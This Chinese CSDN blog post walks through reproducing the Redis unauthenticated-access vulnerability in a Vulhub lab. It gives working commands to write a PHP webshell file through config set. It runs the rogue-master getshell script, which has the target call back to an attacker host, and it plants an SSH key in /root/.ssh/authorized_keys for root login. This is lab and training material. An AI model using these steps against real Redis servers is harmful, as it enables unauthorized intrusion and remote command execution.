【4-unacc】redis未授权访问漏洞

【4-unacc】redis未授权访问漏洞

原理

Redis是一个开源的、内存中的数据结构存储系统,它可以用作数据库、缓存和消息中介。在默认情况下,Redis服务可能会绑定到公网IP的6379端口上,且没有设置密码认证(默认为空)。当Redis服务未配置任何访问控制策略(如防火墙规则、IP绑定或密码认证)时,它将面临未授权访问的风险。

漏洞影响版本

此漏洞影响Redis的多个版本,包括Redis 2.x.
3.x,4.x和5.x。

解题过程

1.安装redis-cli远程连接工具

⭐️注意:切换到root权限操作,否则会出现权限不足的问题,这里是错误的,作者懒得改了

sudo su
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz

在这里插入图片描述

2.编译和构建Redis的可执行文件

cd redis-stable
make

在这里插入图片描述
**cd redis-stable:**进入Redis源代码的目录。

**make:**在当前目录中执行Makefile文件,用于编译和构建Redis。Makefile是一个包含编译和构建指令的文件,通过运行make命令,可以自动执行这些指令,生成可执行文件或库文件。在这种情况下,make命令用于编译和构建Redis的可执行文件。

make的过程有点慢,耐心等待。

3.连接到Redis服务器

将src目录下的redis-cli文件复制到/usr/bin目录下;连接到Redis服务器,并显示帮助信息

cp src/redis-cli /usr/bin/
redis-cli -h

知识补充:

/usr/bin目录是一个存放可执行文件的目录。在Linux系统中,大部分的可执行文件都存放在这个目录下。这些可执行文件可以直接通过命令行来运行。一些常见的命令,如ls、cp、mv等,都是存放在/usr/bin目录下的可执行文件。

redis-cli文件是redis-cli工具的可执行文件。它可以在Redis的安装目录中找到,通常位于/usr/local/bin/redis-cli或/opt/redis/bin/redis-cli等位置。
使用redis-cli文件可以通过命令行界面连接到Redis服务器,并执行各种Redis命令。
连接到远程Redis服务器可以使用以下命令:
redis-cli -h <hostname> -p <port>
其中,<hostname>是远程服务器的主机名或IP地址,<port>是Redis服务器的端口号。

连接成功后,可以使用各种Redis命令进行数据操作,例如:
SET key value
GET key
DEL key
执行命令后,redis-cli会返回相应的结果。

在这里插入图片描述

4.redis-cli命令远程免密登录redis主机

redis-cli -h 目标主机IP

info可以查看靶机信息

在这里插入图片描述

5.写入shell文件

config set dir /tmp
config set dbfilename test.php
save
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
exit

写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行

在这里插入图片描述

写入shell后,进入靶机查看是否成功写入:

docker exec -it f4a147a25642 /bin/bash

这个命令是在一个正在运行的Docker容器中执行一个交互式的bash shell。其中098263dc170f是容器的ID,/bin/bash是要执行的命令。通过运行/bin/bash命令,可以进入Bash shell,并在命令行中执行各种命令和脚本。
在这里插入图片描述

6.使用py脚本执行远程命令

git clone https://github.com/vulhub/redis-rogue-getshell.git

在这里插入图片描述

cd redis-rogue-getshell/RedisModulesSDK/exp
make

在这里插入图片描述
回到redis-rogue-getshell目录下,利用py模块进行攻击

./redis-master.py -r 192.168.17.180(靶机) -p 6379 -L 192.168.17.175(攻击机) -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"

在这里插入图片描述

./redis-master.py -r 192.168.17.180 -p 6379 -L 192.168.17.175 -P 8989 -f RedisModulesSDK/exp/exp.so -c "ls"

在这里插入图片描述

7.ssh公私钥免密登录

知识补充:

SSH公私钥免密登录是一种通过使用公私钥对来实现SSH登录时不需要输入密码的方法。以下是实现步骤:

1. 生成公私钥对:在本地机器上使用ssh-keygen命令生成公私钥对。默认情况下,生成的公私钥对会保存在~/.ssh目录下,其中id_rsa为私钥,id_rsa.pub为公钥。

2. 将公钥复制到目标机器:将生成的公钥复制到目标机器上的~/.ssh/authorized_keys文件中。可以使用ssh-copy-id命令来自动完成此步骤,命令格式为:ssh-copy-id -i ~/.ssh/id_rsa.pub user@host,其中user为目标机器上的用户名,host为目标机器的IP地址或域名。

3. 配置SSH服务器:在目标机器上,打开SSH服务器的配置文件/etc/ssh/sshd_config,确保以下配置项的值为yes:
   - PubkeyAuthentication yes
   - AuthorizedKeysFile      .ssh/authorized_keys

4. 重启SSH服务器:在目标机器上,重启SSH服务器以使配置生效。可以使用以下命令来重启SSH服务器:
   - Ubuntu/Debian:sudo service ssh restart
   - CentOS/Fedora:sudo systemctl restart sshd

5. 测试免密登录:在本地机器上使用ssh命令连接到目标机器,如果一切配置正确,应该可以直接登录而不需要输入密码。

请注意,为了确保安全性,私钥文件应该设置为只有当前用户可读写的权限(chmod 600 ~/.ssh/id_rsa)。另外,为了提高安全性,可以使用passphrase对私钥进行加密,这样在使用私钥时需要输入passphrase进行解密。 

在攻击机中生成ssh公钥和私钥文件,密码为空,连续三次回车

ssh-keygen -t rsa

在这里插入图片描述

进入/root/.ssh目录;将生成的公钥保存到1.txt:

cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

在这里插入图片描述

更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),发现没有权限

在这里插入图片描述
**原因:**目标服务器的redis不是root用户启动的

参考链接:<[Vulhub] Redis 4.x/5.x 未授权访问漏洞_vulhub有没有redis漏洞-CSDN博客>

<【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞_redis未授权漏洞vulhub靶场复现-CSDN博客>

更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):config set dir /root/.ssh
在这里插入图片描述
设置上传公钥的备份文件名字为authorized_keys:CONFIG SET dbfilename authorized_keys
在这里插入图片描述

保存并退出:
在这里插入图片描述
此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器:
在这里插入图片描述

  • 18
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值